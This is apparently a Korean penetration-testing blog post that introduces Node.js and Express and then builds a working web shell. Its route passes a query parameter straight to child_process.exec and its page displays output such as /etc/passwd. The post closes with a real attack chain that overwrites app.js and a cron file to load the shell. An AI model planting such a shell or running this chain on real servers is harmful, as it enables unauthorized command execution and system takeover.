[Node.JS] Web Shell 테스트
작성자 - S1ON개요 |
이번 장에서는 Node.js 가 무엇인지 알아보고 Node.js를 기반으로하는 express 프레임워크로 웹을 설치해보고 일반적인 서버사이드스크립트 언어(JSP, ASP, PHP)가 아닌 js 파일을 이용해 웹에서 쉘을 실행시키는 방법에 대해서 알아보자.
※ 본 포스트는 개인적인 공부를 위한 목적으로 작성된 기술 문서입니다. 이 포스트에서 다루는 기술을 악용하거나 무단으로 사용하여 발생하는 모든 문제는 당사자에게 있으며, 경우에 따라 법적 처벌을 받을 수 있습니다.
Node.js 란 무엇인가? |
Node.js는 서버사이드 자바스크립트 언어이며, 구글의 자바스크립트 엔진인 V8을 기반으로 구성된 일종의 소프트웨어 시스템이다. 이벤트 기반으로 개발이 가능하며 Non-Blocking I/P를 지원하기 때문에 비동기식 프로그래밍이 가능하다.
기존의 웹 애플리케이션에서 프론트엔드를 구성하는 대다수의 경우가 자바스크립트로 이루어진다. 노드는 자바스크립트언어를 기반으로 하기 때문에 프론트엔드는 물론 백엔드도 동일한 언어로 작성할 수 있는 장점이 있다.
따라서 개발 단계나 유지보수 단계에서 시간, 인력을 줄일 수 있으며, 이로 인한 코드 통합이 쉬워지게 된다.
NPM |
노드는 확장성이 뛰어난 모듈 구조를 가지고 있는데, 이를 통해 기본적으로 제공하는 모듈 외 다양한 확장 모듈을 설치하여 사용할 수 있다. NPM은 노드의 설치 관리자로 이러한 확장 모듈들을 쉽게 설치할 수 있다.
Express Framework |
Express 프레임워크는 경량화 웹 개발 프레임워크로 노드를 이용한 웹 서비스나 웹 애플리케이션 개발에 가장 널리 쓰이는 확장 모듈 중 하나이다. 기본 모듈 중 하나인 http 모듈을 이용하여 웹 서버를 구축하고 데이터를 표시하는 방식을 좀 더 추상화하거나 웹 개발을 편리하게 할 수 있도록 다양한 API를 제공한다.
Express Framework 설치 |
Express는 Node.js 패키지로 제공되고 있어서 npm에서 간단히 설치하고, 웹 서버를 구성할 수 있다.
# yum install npm
// 노드 설치 관리자 npm을 설치
# npm install
// 기본적인 nod.js 모듈 설치
# npm install express -g
// npm을 이용해 express framework 설치
# express
// 현재 디렉토리에 default express 구성
express 명령어를 통해 구성한 default 프레임워크는 아래와 같이 구성된다.
생성된 각 파일의 정의는 다음과 같다.
1. app.js : express 설정 파일이 담겨있는 파일
2. bin : express 실행 파일이 담겨있는 디렉토리
3. package.json : 프로그램 이름, 버전, 필요 모듈 등 노드 프로그램 정보 기술한 파일
4. public : 정적 파일을 위한 디렉토리로 js파일, 이미지 파일, css 등을 포함
5. routes : 라우팅을 위한 디렉토리로 리소스 별 모듈을 만들어 라우팅 로직을 구현(java의 Controller 역할)
6. views : request 요청에 대한 처리 후 응답을 보낼 때, html 코드로 변환해서 반환하는 파일을 정의한 디렉토리
Express Framework 웹 서버 구동 |
default 상태의 Express를 실행해보자.
express로 기본 구성한 상태로 웹을 올리면 3000번 포트로 웹 서버가 띄워진다.
웹으로 접속해보자.
잘 접속이 된다.
Express Framework Web Shell 테스트 환경구성 |
일단 defualt express의 app.js 설정에서 view engine은 jade 파일을 사용하도록 설정되어 있다.
우리는 ejs를 이용한 웹쉘을 이용할 것이기 때문에 npm을 이용해 ejs 모듈을 설치하고, packge.json에 추가하도록 하자.
# npm install ejs --save
// ejs 모듈을 설치하고, package.json에 종속성 추가
Express Framework Web Shell 테스트 |
nodejs 에서 웹쉘을 실행시키기 위해서는 먼저 설정파일인 app.js에서 정의한 js파일에 시스템 명령어를 수행하는 코드가 작성되어 있어야 한다.
웹쉘 실행 시나리오는 다음과 같다.
1. app.js에서 사용자의 요청을 수행하는 cmd.js 페이지 연결
2. 연결된 cmd.js 파일에서 사용자가 입력한 시스템 명령 실행
3. cmd.ejs 파일로 명령실행 결과를 html 페이지에 출력
각 파일의 코드는 다음과 같다.
# ~/sion/app.js
변경 전 | 변경 후 | 비고 |
- | var cmd=require('./routes/cmd'); | 추가 |
app.set('view engine', 'jade'); | app.set('view engine', 'ejs'); | 변경 |
- | app.use('/cmd', cmd); | 추가 |
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var indexRouter = require('./routes/index');
var usersRouter = require('./routes/users');
var cmd=require('./routes/cmd');
var app = express();
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', indexRouter);
app.use('/users', usersRouter);
app.use('/cmd',cmd);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
module.exports = app;
# ~/sion/routes/cmd.js
- 전달받은 cmd 파라미터 값으로 시스템 명령을 수행하고, cmd로 data를 렌더링
var express = require('express');
var router = express.Router();
var exec = require("child_process").exec;
router.get('/', function(req, res, next) {
exec(req.query.cmd, function (err, stdout, stderr) {
res.render('cmd', { title: 'Express', data: stdout });
});
});
module.exports = router;
# ~/sion/views/cmd.ejs
- cmd 페이지로 사용자가 입력한 cmd 파라미터 값을 전송
- 전달받은 data(시스템 명령수행 결과값) HTML 페이지 내 출력
<!DOCTYPE html>
<html>
<head>
<title><%= title %></title>
<link rel='stylesheet' href='/stylesheets/style.css' />
</head>
<body>
<h1>cmd <%= title %></h1>
<form id='target'action='cmd'>
<input id='target_input' name='cmd' type='text'>
<input type='submit' value='submit'>
</form>
<h1><%= data %></h1>
</body>
</html>
웹 서버를 재기동시키고, 다시 웹에 접속해보자.
입력 폼에 시스템 명령어인 cat /etc/passwd 를 입력 후 submit 버튼을 클릭해보자.
nodejs에서 웹쉘이 성공적으로 실행된다.
결과 |
모의해킹의 관점에서 nodejs 기반의 웹에 파일업로드 취약점을 통한 웹쉘 업로드는 쉽지 않다. 취약점을 통해 시스템 명령어 실행 코드가 작성된 js 파일을 업로드 하더라도 nodejs의 설정파일인 app.js에 해당 소스파일이 정의되어 있지 않으면 실행이 되지 않는다. 즉, app.js에 정의되어 있는 파일과 동일한 경로에 동일한 파일명으로 덮어쓰기가 가능하다면 웹 요청을 통해 시스템 명령이 실행될 수 있다.
일반적인 웹쉘 공격에 사용되는 서버사이드언어(JSP, PHP, ASP)의 경우에는 해당 파일을 임의의 경로에 업로드하고 실행만 가능하다면 공격이 수행되는지 즉시 확인이 가능하지만 nodejs는 결과를 html 페이지 출력해주는 별도의 파일을 추가로 업로드해야한다. html 페이지로 결과를 출력해주는 기능이 존재하지 않는다면 공격자는 blind로 공격을 시도해야한다.
최근에 nodejs 기반의 웹을 진단하였는데 해당 환경에서 파일 업로드 취약점이 존재하여 웹쉘 업로드에 성공했다.
공격 시나리오는 다음과 같다.
1. 정보누출 취약점 - 서버 주요파일 경로 파악: cron 파일 경로, js 파일 소스 경로
2. 파일 다운로드 취약점 - 설정파일 다운로드: app.js
3. 파일 업로드 취약점
- js 웹쉘 파일 업로드 : 시스템 명령어 입력이 가능한 js 페이지 업로드하기(cmd.js, cmd.ejs)
- app.js 내 js 웹쉘 파일을 선언 : 설정파일에 해당 부분(cmd.js) 추가 후, 덮어쓰기
- 기 존재하는 cron 파일 덮어쓰기 : 특정 시간에 reboot 되는 cron 명령 삽입
* app.js를 Reload하는게 베스트지만 Custom OS에서 재실행 하는 방법을 찾지 못함
4. cron을 통해 OS가 reboot 되면서 app.js를 재실행
5. 취약 서버 URL/cmd 경로 접근 시, 웹쉘 페이지 출력
최초에는 업로드에 실패했다고 작성했지만, 같이 프로젝트를 수행하던 팀원에게 이 포스팅을 공유했는데
공격을 성공시키는데 아주 결정적인 힌트를 제공해주면서 결과적으로는 성공했었다.
그냥 개발자들이 jsp나 php로 웹을 만들어주면 좋겠다. 너무 머리가 아프다.
'Season 1 > 기술 보안' 카테고리의 다른 글
CVE-2021-26855 : Exchange Server SSRF Vulnerability (0) | 2021.08.19 |
---|---|
취약한 HTTP 메소드 설정방법(feat. 서버별 설정방법) (5) | 2021.08.01 |
CVE-2021-21389 POC Test (0) | 2021.07.29 |
snort byte_test (0) | 2021.07.29 |
AWS 3-Tier Architecture 구성 ① Overview (0) | 2021.07.23 |